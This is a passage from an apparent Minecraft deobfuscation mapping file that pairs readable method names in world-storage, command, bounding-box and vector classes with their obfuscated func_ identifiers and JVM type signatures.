(Lnet/minecraft/nbt/NBTTagCompound;Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/storage/WorldInfo/func_76064_a (Lnet/minecraft/nbt/NBTTagCompound;Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/storage/WorldInfo/setWorldName (Ljava/lang/String;)V net/minecraft/world/storage/WorldInfo/func_76062_a (Ljava/lang/String;)V +MD: net/minecraft/world/storage/WorldInfo/setDifficulty (Lnet/minecraft/world/EnumDifficulty;)V net/minecraft/world/storage/WorldInfo/func_176144_a (Lnet/minecraft/world/EnumDifficulty;)V +MD: net/minecraft/world/storage/WorldInfo/setThundering (Z)V net/minecraft/world/storage/WorldInfo/func_76069_a (Z)V +MD: net/minecraft/world/storage/WorldInfo/getSeed ()J net/minecraft/world/storage/WorldInfo/func_76063_b ()J +MD: net/minecraft/world/storage/WorldInfo/setBorderLerpTarget (D)V net/minecraft/world/storage/WorldInfo/func_176118_b (D)V +MD: net/minecraft/world/storage/WorldInfo/setSpawnY (I)V net/minecraft/world/storage/WorldInfo/func_76056_b (I)V +MD: net/minecraft/world/storage/WorldInfo/setWorldTotalTime (J)V net/minecraft/world/storage/WorldInfo/func_82572_b (J)V +MD: net/minecraft/world/storage/WorldInfo/access$100 (Lnet/minecraft/world/storage/WorldInfo;)Z net/minecraft/world/storage/WorldInfo/access$100 (Lnet/minecraft/world/storage/WorldInfo;)Z +MD: net/minecraft/world/storage/WorldInfo/setRaining (Z)V net/minecraft/world/storage/WorldInfo/func_76084_b (Z)V +MD: net/minecraft/world/storage/WorldInfo/getSpawnX ()I net/minecraft/world/storage/WorldInfo/func_76079_c ()I +MD: net/minecraft/world/storage/WorldInfo/getBorderCenterZ (D)V net/minecraft/world/storage/WorldInfo/func_176141_c (D)V +MD: net/minecraft/world/storage/WorldInfo/setSpawnZ (I)V net/minecraft/world/storage/WorldInfo/func_76087_c (I)V +MD: net/minecraft/world/storage/WorldInfo/setWorldTime (J)V net/minecraft/world/storage/WorldInfo/func_76068_b (J)V +MD: net/minecraft/world/storage/WorldInfo/access$200 (Lnet/minecraft/world/storage/WorldInfo;)Ljava/lang/String; net/minecraft/world/storage/WorldInfo/access$200 (Lnet/minecraft/world/storage/WorldInfo;)Ljava/lang/String; +MD: net/minecraft/world/storage/WorldInfo/setAllowCommands (Z)V net/minecraft/world/storage/WorldInfo/func_176121_c (Z)V +MD: net/minecraft/world/storage/WorldInfo/getSpawnY ()I net/minecraft/world/storage/WorldInfo/func_76075_d ()I +MD: net/minecraft/world/storage/WorldInfo/getBorderCenterX (D)V net/minecraft/world/storage/WorldInfo/func_176124_d (D)V +MD: net/minecraft/world/storage/WorldInfo/access$300 (Lnet/minecraft/world/storage/WorldInfo;)I net/minecraft/world/storage/WorldInfo/access$300 (Lnet/minecraft/world/storage/WorldInfo;)I +MD: net/minecraft/world/storage/WorldInfo/setServerInitialized (Z)V net/minecraft/world/storage/WorldInfo/func_76091_d (Z)V +MD: net/minecraft/world/storage/WorldInfo/getSpawnZ ()I net/minecraft/world/storage/WorldInfo/func_76074_e ()I +MD: net/minecraft/world/storage/WorldInfo/setBorderSafeZone (D)V net/minecraft/world/storage/WorldInfo/func_176129_e (D)V +MD: net/minecraft/world/storage/WorldInfo/setSaveVersion (I)V net/minecraft/world/storage/WorldInfo/func_76078_e (I)V +MD: net/minecraft/world/storage/WorldInfo/setBorderLerpTime (J)V net/minecraft/world/storage/WorldInfo/func_176135_e (J)V +MD: net/minecraft/world/storage/WorldInfo/access$400 (Lnet/minecraft/world/storage/WorldInfo;)I net/minecraft/world/storage/WorldInfo/access$400 (Lnet/minecraft/world/storage/WorldInfo;)I +MD: net/minecraft/world/storage/WorldInfo/setDifficultyLocked (Z)V net/minecraft/world/storage/WorldInfo/func_180783_e (Z)V +MD: net/minecraft/world/storage/WorldInfo/getWorldTotalTime ()J net/minecraft/world/storage/WorldInfo/func_82573_f ()J +MD: net/minecraft/world/storage/WorldInfo/setBorderDamagePerBlock (D)V net/minecraft/world/storage/WorldInfo/func_176125_f (D)V +MD: net/minecraft/world/storage/WorldInfo/setThunderTime (I)V net/minecraft/world/storage/WorldInfo/func_76090_f (I)V +MD: net/minecraft/world/storage/WorldInfo/access$500 (Lnet/minecraft/world/storage/WorldInfo;)I net/minecraft/world/storage/WorldInfo/access$500 (Lnet/minecraft/world/storage/WorldInfo;)I +MD: net/minecraft/world/storage/WorldInfo/setMapFeaturesEnabled (Z)V net/minecraft/world/storage/WorldInfo/func_176128_f (Z)V +MD: net/minecraft/world/storage/WorldInfo/getWorldTime ()J net/minecraft/world/storage/WorldInfo/func_76073_f ()J +MD: net/minecraft/world/storage/WorldInfo/setRainTime (I)V net/minecraft/world/storage/WorldInfo/func_76080_g (I)V +MD: net/minecraft/world/storage/WorldInfo/access$600 (Lnet/minecraft/world/storage/WorldInfo;)J net/minecraft/world/storage/WorldInfo/access$600 (Lnet/minecraft/world/storage/WorldInfo;)J +MD: net/minecraft/world/storage/WorldInfo/setHardcore (Z)V net/minecraft/world/storage/WorldInfo/func_176119_g (Z)V +MD: net/minecraft/world/storage/WorldInfo/getSizeOnDisk ()J net/minecraft/world/storage/WorldInfo/func_76092_g ()J +MD: net/minecraft/world/storage/WorldInfo/access$700 (Lnet/minecraft/world/storage/WorldInfo;)J net/minecraft/world/storage/WorldInfo/access$700 (Lnet/minecraft/world/storage/WorldInfo;)J +MD: net/minecraft/world/storage/WorldInfo/getPlayerNBTTagCompound ()Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/world/storage/WorldInfo/func_76072_h ()Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/world/storage/WorldInfo/setCleanWeatherTime (I)V net/minecraft/world/storage/WorldInfo/func_176142_i (I)V +MD: net/minecraft/world/storage/WorldInfo/access$800 (Lnet/minecraft/world/storage/WorldInfo;)I net/minecraft/world/storage/WorldInfo/access$800 (Lnet/minecraft/world/storage/WorldInfo;)I +MD: net/minecraft/world/storage/WorldInfo/setBorderWarningDistance (I)V net/minecraft/world/storage/WorldInfo/func_176122_j (I)V +MD: net/minecraft/world/storage/WorldInfo/access$900 (Lnet/minecraft/world/storage/WorldInfo;)I net/minecraft/world/storage/WorldInfo/access$900 (Lnet/minecraft/world/storage/WorldInfo;)I +MD: net/minecraft/world/storage/WorldInfo/getWorldName ()Ljava/lang/String; net/minecraft/world/storage/WorldInfo/func_76065_j ()Ljava/lang/String; +MD: net/minecraft/world/storage/WorldInfo/setBorderWarningTime (I)V net/minecraft/world/storage/WorldInfo/func_176136_k (I)V +MD: net/minecraft/world/storage/WorldInfo/access$1000 (Lnet/minecraft/world/storage/WorldInfo;)I net/minecraft/world/storage/WorldInfo/access$1000 (Lnet/minecraft/world/storage/WorldInfo;)I +MD: net/minecraft/world/storage/WorldInfo/getSaveVersion ()I net/minecraft/world/storage/WorldInfo/func_76088_k ()I +MD: net/minecraft/world/storage/WorldInfo/access$1100 (Lnet/minecraft/world/storage/WorldInfo;)Z net/minecraft/world/storage/WorldInfo/access$1100 (Lnet/minecraft/world/storage/WorldInfo;)Z +MD: net/minecraft/world/storage/WorldInfo/getLastTimePlayed ()J net/minecraft/world/storage/WorldInfo/func_76057_l ()J +MD: net/minecraft/world/storage/WorldInfo/access$1200 (Lnet/minecraft/world/storage/WorldInfo;)I net/minecraft/world/storage/WorldInfo/access$1200 (Lnet/minecraft/world/storage/WorldInfo;)I +MD: net/minecraft/world/storage/WorldInfo/isThundering ()Z net/minecraft/world/storage/WorldInfo/func_76061_m ()Z +MD: net/minecraft/world/storage/WorldInfo/access$1300 (Lnet/minecraft/world/storage/WorldInfo;)Z net/minecraft/world/storage/WorldInfo/access$1300 (Lnet/minecraft/world/storage/WorldInfo;)Z +MD: net/minecraft/world/storage/WorldInfo/getThunderTime ()I net/minecraft/world/storage/WorldInfo/func_76071_n ()I +MD: net/minecraft/world/storage/WorldInfo/access$1400 (Lnet/minecraft/world/storage/WorldInfo;)Lnet/minecraft/world/WorldSettings$GameType; net/minecraft/world/storage/WorldInfo/access$1400 (Lnet/minecraft/world/storage/WorldInfo;)Lnet/minecraft/world/WorldSettings$GameType; +MD: net/minecraft/world/storage/WorldInfo/isRaining ()Z net/minecraft/world/storage/WorldInfo/func_76059_o ()Z +MD: net/minecraft/world/storage/WorldInfo/access$1500 (Lnet/minecraft/world/storage/WorldInfo;)Z net/minecraft/world/storage/WorldInfo/access$1500 (Lnet/minecraft/world/storage/WorldInfo;)Z +MD: net/minecraft/world/storage/WorldInfo/getRainTime ()I net/minecraft/world/storage/WorldInfo/func_76083_p ()I +MD: net/minecraft/world/storage/WorldInfo/access$1600 (Lnet/minecraft/world/storage/WorldInfo;)Z net/minecraft/world/storage/WorldInfo/access$1600 (Lnet/minecraft/world/storage/WorldInfo;)Z +MD: net/minecraft/world/storage/WorldInfo/getGameType ()Lnet/minecraft/world/WorldSettings$GameType; net/minecraft/world/storage/WorldInfo/func_76077_q ()Lnet/minecraft/world/WorldSettings$GameType; +MD: net/minecraft/world/storage/WorldInfo/isMapFeaturesEnabled ()Z net/minecraft/world/storage/WorldInfo/func_76089_r ()Z +MD: net/minecraft/world/storage/WorldInfo/isHardcoreModeEnabled ()Z net/minecraft/world/storage/WorldInfo/func_76093_s ()Z +MD: net/minecraft/world/storage/WorldInfo/getTerrainType ()Lnet/minecraft/world/WorldType; net/minecraft/world/storage/WorldInfo/func_76067_t ()Lnet/minecraft/world/WorldType; +MD: net/minecraft/world/storage/WorldInfo/areCommandsAllowed ()Z net/minecraft/world/storage/WorldInfo/func_76086_u ()Z +MD: net/minecraft/world/storage/WorldInfo/isInitialized ()Z net/minecraft/world/storage/WorldInfo/func_76070_v ()Z +MD: net/minecraft/world/storage/WorldInfo/getGameRulesInstance ()Lnet/minecraft/world/GameRules; net/minecraft/world/storage/WorldInfo/func_82574_x ()Lnet/minecraft/world/GameRules; +MD: net/minecraft/world/storage/WorldInfo/getDifficulty ()Lnet/minecraft/world/EnumDifficulty; net/minecraft/world/storage/WorldInfo/func_176130_y ()Lnet/minecraft/world/EnumDifficulty; +MD: net/minecraft/world/storage/WorldInfo/isDifficultyLocked ()Z net/minecraft/world/storage/WorldInfo/func_176123_z ()Z +MD: net/minecraft/world/storage/ISaveHandler/flush ()V net/minecraft/world/storage/ISaveHandler/func_75759_a ()V +MD: net/minecraft/world/storage/ISaveHandler/getChunkLoader (Lnet/minecraft/world/WorldProvider;)Lnet/minecraft/world/chunk/storage/IChunkLoader; net/minecraft/world/storage/ISaveHandler/func_75763_a (Lnet/minecraft/world/WorldProvider;)Lnet/minecraft/world/chunk/storage/IChunkLoader; +MD: net/minecraft/world/storage/ISaveHandler/saveWorldInfo (Lnet/minecraft/world/storage/WorldInfo;)V net/minecraft/world/storage/ISaveHandler/func_75761_a (Lnet/minecraft/world/storage/WorldInfo;)V +MD: net/minecraft/world/storage/ISaveHandler/saveWorldInfoWithPlayer (Lnet/minecraft/world/storage/WorldInfo;Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/storage/ISaveHandler/func_75755_a (Lnet/minecraft/world/storage/WorldInfo;Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/storage/ISaveHandler/getMapFileFromName (Ljava/lang/String;)Ljava/io/File; net/minecraft/world/storage/ISaveHandler/func_75758_b (Ljava/lang/String;)Ljava/io/File; +MD: net/minecraft/world/storage/ISaveHandler/getWorldDirectory ()Ljava/io/File; net/minecraft/world/storage/ISaveHandler/func_75765_b ()Ljava/io/File; +MD: net/minecraft/world/storage/ISaveHandler/checkSessionLock ()V net/minecraft/world/storage/ISaveHandler/func_75762_c ()V +MD: net/minecraft/world/storage/ISaveHandler/loadWorldInfo ()Lnet/minecraft/world/storage/WorldInfo; net/minecraft/world/storage/ISaveHandler/func_75757_d ()Lnet/minecraft/world/storage/WorldInfo; +MD: net/minecraft/world/storage/ISaveHandler/getPlayerNBTManager ()Lnet/minecraft/world/storage/IPlayerFileData; net/minecraft/world/storage/ISaveHandler/func_75756_e ()Lnet/minecraft/world/storage/IPlayerFileData; +MD: net/minecraft/world/storage/ISaveHandler/getWorldDirectoryName ()Ljava/lang/String; net/minecraft/world/storage/ISaveHandler/func_75760_g ()Ljava/lang/String; +MD: net/minecraft/world/storage/ISaveFormat/getName ()Ljava/lang/String; net/minecraft/world/storage/ISaveFormat/func_154333_a ()Ljava/lang/String; +MD: net/minecraft/world/storage/ISaveFormat/isConvertible (Ljava/lang/String;)Z net/minecraft/world/storage/ISaveFormat/func_154334_a (Ljava/lang/String;)Z +MD: net/minecraft/world/storage/ISaveFormat/renameWorld (Ljava/lang/String;Ljava/lang/String;)V net/minecraft/world/storage/ISaveFormat/func_75806_a (Ljava/lang/String;Ljava/lang/String;)V +MD: net/minecraft/world/storage/ISaveFormat/convertMapFormat (Ljava/lang/String;Lnet/minecraft/util/IProgressUpdate;)Z net/minecraft/world/storage/ISaveFormat/func_75805_a (Ljava/lang/String;Lnet/minecraft/util/IProgressUpdate;)Z +MD: net/minecraft/world/storage/ISaveFormat/getSaveLoader (Ljava/lang/String;Z)Lnet/minecraft/world/storage/ISaveHandler; net/minecraft/world/storage/ISaveFormat/func_75804_a (Ljava/lang/String;Z)Lnet/minecraft/world/storage/ISaveHandler; +MD: net/minecraft/world/storage/ISaveFormat/getSaveList ()Ljava/util/List; net/minecraft/world/storage/ISaveFormat/func_75799_b ()Ljava/util/List; +MD: net/minecraft/world/storage/ISaveFormat/isOldMapFormat (Ljava/lang/String;)Z net/minecraft/world/storage/ISaveFormat/func_75801_b (Ljava/lang/String;)Z +MD: net/minecraft/world/storage/ISaveFormat/getWorldInfo (Ljava/lang/String;)Lnet/minecraft/world/storage/WorldInfo; net/minecraft/world/storage/ISaveFormat/func_75803_c (Ljava/lang/String;)Lnet/minecraft/world/storage/WorldInfo; +MD: net/minecraft/world/storage/ISaveFormat/flushCache ()V net/minecraft/world/storage/ISaveFormat/func_75800_d ()V +MD: net/minecraft/world/storage/ISaveFormat/isNewLevelIdAcceptable (Ljava/lang/String;)Z net/minecraft/world/storage/ISaveFormat/func_154335_d (Ljava/lang/String;)Z +MD: net/minecraft/world/storage/ISaveFormat/deleteWorldDirectory (Ljava/lang/String;)Z net/minecraft/world/storage/ISaveFormat/func_75802_e (Ljava/lang/String;)Z +MD: net/minecraft/world/storage/ISaveFormat/canLoadWorld (Ljava/lang/String;)Z net/minecraft/world/storage/ISaveFormat/func_90033_f (Ljava/lang/String;)Z +MD: net/minecraft/world/storage/SaveFormatComparator/getFileName ()Ljava/lang/String; net/minecraft/world/storage/SaveFormatComparator/func_75786_a ()Ljava/lang/String; +MD: net/minecraft/world/storage/SaveFormatComparator/compareTo (Lnet/minecraft/world/storage/SaveFormatComparator;)I net/minecraft/world/storage/SaveFormatComparator/compareTo (Lnet/minecraft/world/storage/SaveFormatComparator;)I +MD: net/minecraft/world/storage/SaveFormatComparator/getDisplayName ()Ljava/lang/String; net/minecraft/world/storage/SaveFormatComparator/func_75788_b ()Ljava/lang/String; +MD: net/minecraft/world/storage/SaveFormatComparator/getSizeOnDisk ()J net/minecraft/world/storage/SaveFormatComparator/func_154336_c ()J +MD: net/minecraft/world/storage/SaveFormatComparator/compareTo (Ljava/lang/Object;)I net/minecraft/world/storage/SaveFormatComparator/compareTo (Ljava/lang/Object;)I +MD: net/minecraft/world/storage/SaveFormatComparator/requiresConversion ()Z net/minecraft/world/storage/SaveFormatComparator/func_75785_d ()Z +MD: net/minecraft/world/storage/SaveFormatComparator/getLastTimePlayed ()J net/minecraft/world/storage/SaveFormatComparator/func_75784_e ()J +MD: net/minecraft/world/storage/SaveFormatComparator/getEnumGameType ()Lnet/minecraft/world/WorldSettings$GameType; net/minecraft/world/storage/SaveFormatComparator/func_75790_f ()Lnet/minecraft/world/WorldSettings$GameType; +MD: net/minecraft/world/storage/SaveFormatComparator/isHardcoreModeEnabled ()Z net/minecraft/world/storage/SaveFormatComparator/func_75789_g ()Z +MD: net/minecraft/world/storage/SaveFormatComparator/getCheatsEnabled ()Z net/minecraft/world/storage/SaveFormatComparator/func_75783_h ()Z +MD: net/minecraft/world/storage/SaveHandlerMP/flush ()V net/minecraft/world/storage/SaveHandlerMP/func_75759_a ()V +MD: net/minecraft/world/storage/SaveHandlerMP/getChunkLoader (Lnet/minecraft/world/WorldProvider;)Lnet/minecraft/world/chunk/storage/IChunkLoader; net/minecraft/world/storage/SaveHandlerMP/func_75763_a (Lnet/minecraft/world/WorldProvider;)Lnet/minecraft/world/chunk/storage/IChunkLoader; +MD: net/minecraft/world/storage/SaveHandlerMP/saveWorldInfo (Lnet/minecraft/world/storage/WorldInfo;)V net/minecraft/world/storage/SaveHandlerMP/func_75761_a (Lnet/minecraft/world/storage/WorldInfo;)V +MD: net/minecraft/world/storage/SaveHandlerMP/saveWorldInfoWithPlayer (Lnet/minecraft/world/storage/WorldInfo;Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/storage/SaveHandlerMP/func_75755_a (Lnet/minecraft/world/storage/WorldInfo;Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/storage/SaveHandlerMP/getMapFileFromName (Ljava/lang/String;)Ljava/io/File; net/minecraft/world/storage/SaveHandlerMP/func_75758_b (Ljava/lang/String;)Ljava/io/File; +MD: net/minecraft/world/storage/SaveHandlerMP/getWorldDirectory ()Ljava/io/File; net/minecraft/world/storage/SaveHandlerMP/func_75765_b ()Ljava/io/File; +MD: net/minecraft/world/storage/SaveHandlerMP/checkSessionLock ()V net/minecraft/world/storage/SaveHandlerMP/func_75762_c ()V +MD: net/minecraft/world/storage/SaveHandlerMP/loadWorldInfo ()Lnet/minecraft/world/storage/WorldInfo; net/minecraft/world/storage/SaveHandlerMP/func_75757_d ()Lnet/minecraft/world/storage/WorldInfo; +MD: net/minecraft/world/storage/SaveHandlerMP/getPlayerNBTManager ()Lnet/minecraft/world/storage/IPlayerFileData; net/minecraft/world/storage/SaveHandlerMP/func_75756_e ()Lnet/minecraft/world/storage/IPlayerFileData; +MD: net/minecraft/world/storage/SaveHandlerMP/getWorldDirectoryName ()Ljava/lang/String; net/minecraft/world/storage/SaveHandlerMP/func_75760_g ()Ljava/lang/String; +MD: net/minecraft/world/storage/IPlayerFileData/writePlayerData (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/world/storage/IPlayerFileData/func_75753_a (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/world/storage/IPlayerFileData/readPlayerData (Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/world/storage/IPlayerFileData/func_75752_b (Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/world/storage/IPlayerFileData/getAvailablePlayerDat ()[Ljava/lang/String; net/minecraft/world/storage/IPlayerFileData/func_75754_f ()[Ljava/lang/String; +MD: net/minecraft/world/storage/SaveDataMemoryStorage/saveAllData ()V net/minecraft/world/storage/SaveDataMemoryStorage/func_75744_a ()V +MD: net/minecraft/world/storage/SaveDataMemoryStorage/loadData (Ljava/lang/Class;Ljava/lang/String;)Lnet/minecraft/world/WorldSavedData; net/minecraft/world/storage/SaveDataMemoryStorage/func_75742_a (Ljava/lang/Class;Ljava/lang/String;)Lnet/minecraft/world/WorldSavedData; +MD: net/minecraft/world/storage/SaveDataMemoryStorage/getUniqueDataId (Ljava/lang/String;)I net/minecraft/world/storage/SaveDataMemoryStorage/func_75743_a (Ljava/lang/String;)I +MD: net/minecraft/world/storage/SaveDataMemoryStorage/setData (Ljava/lang/String;Lnet/minecraft/world/WorldSavedData;)V net/minecraft/world/storage/SaveDataMemoryStorage/func_75745_a (Ljava/lang/String;Lnet/minecraft/world/WorldSavedData;)V +MD: net/minecraft/command/CommandParticle/getRequiredPermissionLevel ()I net/minecraft/command/CommandParticle/func_82362_a ()I +MD: net/minecraft/command/CommandParticle/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandParticle/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandParticle/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandParticle/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandParticle/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandParticle/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandParticle/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandParticle/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/world/storage/MapStorage/saveAllData ()V net/minecraft/world/storage/MapStorage/func_75744_a ()V +MD: net/minecraft/world/storage/MapStorage/saveData (Lnet/minecraft/world/WorldSavedData;)V net/minecraft/world/storage/MapStorage/func_75747_a (Lnet/minecraft/world/WorldSavedData;)V +MD: net/minecraft/world/storage/MapStorage/loadData (Ljava/lang/Class;Ljava/lang/String;)Lnet/minecraft/world/WorldSavedData; net/minecraft/world/storage/MapStorage/func_75742_a (Ljava/lang/Class;Ljava/lang/String;)Lnet/minecraft/world/WorldSavedData; +MD: net/minecraft/world/storage/MapStorage/getUniqueDataId (Ljava/lang/String;)I net/minecraft/world/storage/MapStorage/func_75743_a (Ljava/lang/String;)I +MD: net/minecraft/world/storage/MapStorage/setData (Ljava/lang/String;Lnet/minecraft/world/WorldSavedData;)V net/minecraft/world/storage/MapStorage/func_75745_a (Ljava/lang/String;Lnet/minecraft/world/WorldSavedData;)V +MD: net/minecraft/world/storage/MapStorage/loadIdCounts ()V net/minecraft/world/storage/MapStorage/func_75746_b ()V +MD: net/minecraft/world/storage/ThreadedFileIOBase/getThreadedIOInstance ()Lnet/minecraft/world/storage/ThreadedFileIOBase; net/minecraft/world/storage/ThreadedFileIOBase/func_178779_a ()Lnet/minecraft/world/storage/ThreadedFileIOBase; +MD: net/minecraft/world/storage/ThreadedFileIOBase/queueIO (Lnet/minecraft/world/storage/IThreadedFileIO;)V net/minecraft/world/storage/ThreadedFileIOBase/func_75735_a (Lnet/minecraft/world/storage/IThreadedFileIO;)V +MD: net/minecraft/world/storage/ThreadedFileIOBase/waitForFinish ()V net/minecraft/world/storage/ThreadedFileIOBase/func_75734_a ()V +MD: net/minecraft/world/storage/ThreadedFileIOBase/processQueue ()V net/minecraft/world/storage/ThreadedFileIOBase/func_75736_b ()V +MD: net/minecraft/world/storage/ThreadedFileIOBase/run ()V net/minecraft/world/storage/ThreadedFileIOBase/run ()V +MD: net/minecraft/world/storage/IThreadedFileIO/writeNextIO ()Z net/minecraft/world/storage/IThreadedFileIO/func_75814_c ()Z +MD: net/minecraft/util/AxisAlignedBB/getAverageEdgeLength ()D net/minecraft/util/AxisAlignedBB/func_72320_b ()D +MD: net/minecraft/util/AxisAlignedBB/addCoord (DDD)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/util/AxisAlignedBB/func_72321_a (DDD)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/util/AxisAlignedBB/fromBounds (DDDDDD)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/util/AxisAlignedBB/func_178781_a (DDDDDD)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/util/AxisAlignedBB/union (Lnet/minecraft/util/AxisAlignedBB;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/util/AxisAlignedBB/func_111270_a (Lnet/minecraft/util/AxisAlignedBB;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/util/AxisAlignedBB/calculateXOffset (Lnet/minecraft/util/AxisAlignedBB;D)D net/minecraft/util/AxisAlignedBB/func_72316_a (Lnet/minecraft/util/AxisAlignedBB;D)D +MD: net/minecraft/util/AxisAlignedBB/isVecInside (Lnet/minecraft/util/Vec3;)Z net/minecraft/util/AxisAlignedBB/func_72318_a (Lnet/minecraft/util/Vec3;)Z +MD: net/minecraft/util/AxisAlignedBB/calculateIntercept (Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/MovingObjectPosition; net/minecraft/util/AxisAlignedBB/func_72327_a (Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/MovingObjectPosition; +MD: net/minecraft/util/AxisAlignedBB/hasNaN ()Z net/minecraft/util/AxisAlignedBB/func_181656_b ()Z +MD: net/minecraft/util/AxisAlignedBB/expand (DDD)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/util/AxisAlignedBB/func_72314_b (DDD)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/util/AxisAlignedBB/intersectsWith (Lnet/minecraft/util/AxisAlignedBB;)Z net/minecraft/util/AxisAlignedBB/func_72326_a (Lnet/minecraft/util/AxisAlignedBB;)Z +MD: net/minecraft/util/AxisAlignedBB/calculateYOffset (Lnet/minecraft/util/AxisAlignedBB;D)D net/minecraft/util/AxisAlignedBB/func_72323_b (Lnet/minecraft/util/AxisAlignedBB;D)D +MD: net/minecraft/util/AxisAlignedBB/isVecInYZ (Lnet/minecraft/util/Vec3;)Z net/minecraft/util/AxisAlignedBB/func_72333_b (Lnet/minecraft/util/Vec3;)Z +MD: net/minecraft/util/AxisAlignedBB/offset (DDD)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/util/AxisAlignedBB/func_72317_d (DDD)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/util/AxisAlignedBB/calculateZOffset (Lnet/minecraft/util/AxisAlignedBB;D)D net/minecraft/util/AxisAlignedBB/func_72322_c (Lnet/minecraft/util/AxisAlignedBB;D)D +MD: net/minecraft/util/AxisAlignedBB/isVecInXZ (Lnet/minecraft/util/Vec3;)Z net/minecraft/util/AxisAlignedBB/func_72315_c (Lnet/minecraft/util/Vec3;)Z +MD: net/minecraft/util/AxisAlignedBB/contract (DDD)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/util/AxisAlignedBB/func_72331_e (DDD)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/util/AxisAlignedBB/isVecInXY (Lnet/minecraft/util/Vec3;)Z net/minecraft/util/AxisAlignedBB/func_72319_d (Lnet/minecraft/util/Vec3;)Z +MD: net/minecraft/util/AxisAlignedBB/toString ()Ljava/lang/String; net/minecraft/util/AxisAlignedBB/toString ()Ljava/lang/String; +MD: net/minecraft/util/MovingObjectPosition$MovingObjectType/valueOf (Ljava/lang/String;)Lnet/minecraft/util/MovingObjectPosition$MovingObjectType; net/minecraft/util/MovingObjectPosition$MovingObjectType/valueOf (Ljava/lang/String;)Lnet/minecraft/util/MovingObjectPosition$MovingObjectType; +MD: net/minecraft/util/MovingObjectPosition$MovingObjectType/values ()[Lnet/minecraft/util/MovingObjectPosition$MovingObjectType; net/minecraft/util/MovingObjectPosition$MovingObjectType/values ()[Lnet/minecraft/util/MovingObjectPosition$MovingObjectType; +MD: net/minecraft/util/MovingObjectPosition/getBlockPos ()Lnet/minecraft/util/BlockPos; net/minecraft/util/MovingObjectPosition/func_178782_a ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/util/MovingObjectPosition/toString ()Ljava/lang/String; net/minecraft/util/MovingObjectPosition/toString ()Ljava/lang/String; +MD: net/minecraft/util/Vec3/normalize ()Lnet/minecraft/util/Vec3; net/minecraft/util/Vec3/func_72432_b ()Lnet/minecraft/util/Vec3; +MD: net/minecraft/util/Vec3/subtract (DDD)Lnet/minecraft/util/Vec3; net/minecraft/util/Vec3/func_178786_a (DDD)Lnet/minecraft/util/Vec3; +MD: net/minecraft/util/Vec3/rotatePitch (F)Lnet/minecraft/util/Vec3; net/minecraft/util/Vec3/func_178789_a (F)Lnet/minecraft/util/Vec3; +MD: net/minecraft/util/Vec3/subtractReverse (Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/Vec3; net/minecraft/util/Vec3/func_72444_a (Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/Vec3; +MD: net/minecraft/util/Vec3/getIntermediateWithXValue (Lnet/minecraft/util/Vec3;D)Lnet/minecraft/util/Vec3; net/minecraft/util/Vec3/func_72429_b (Lnet/minecraft/util/Vec3;D)Lnet/minecraft/util/Vec3; +MD: net/minecraft/util/Vec3/lengthVector ()D net/minecraft/util/Vec3/func_72433_c ()D +MD: net/minecraft/util/Vec3/addVector (DDD)Lnet/minecraft/util/Vec3; net/minecraft/util/Vec3/func_72441_c (DDD)Lnet/minecraft/util/Vec3; +MD: net/minecraft/util/Vec3/rotateYaw (F)Lnet/minecraft/util/Vec3; net/minecraft/util/Vec3/func_178785_b (F)Lnet/minecraft/util/Vec3; +MD: net/minecraft/util/Vec3/dotProduct (Lnet/minecraft/util/Vec3;)D net/minecraft/util/Vec3/func_72430_b (Lnet/minecraft/util/Vec3;)D +MD: net/minecraft/util/Vec3/getIntermediateWithYValue (Lnet/minecraft/util/Vec3;D)Lnet/minecraft/util/Vec3; net/minecraft/util/Vec3/func_72435_c (Lnet/minecraft/util/Vec3;D)Lnet/minecraft/util/Vec3; +MD: net/minecraft/util/Vec3/crossProduct (Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/Vec3; net/minecraft/util/Vec3/func_72431_c (Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/Vec3; +MD: net/minecraft/util/Vec3/getIntermediateWithZValue (Lnet/minecraft/util/Vec3;D)Lnet/minecraft/util/Vec3; net/minecraft/util/Vec3/func_72434_d 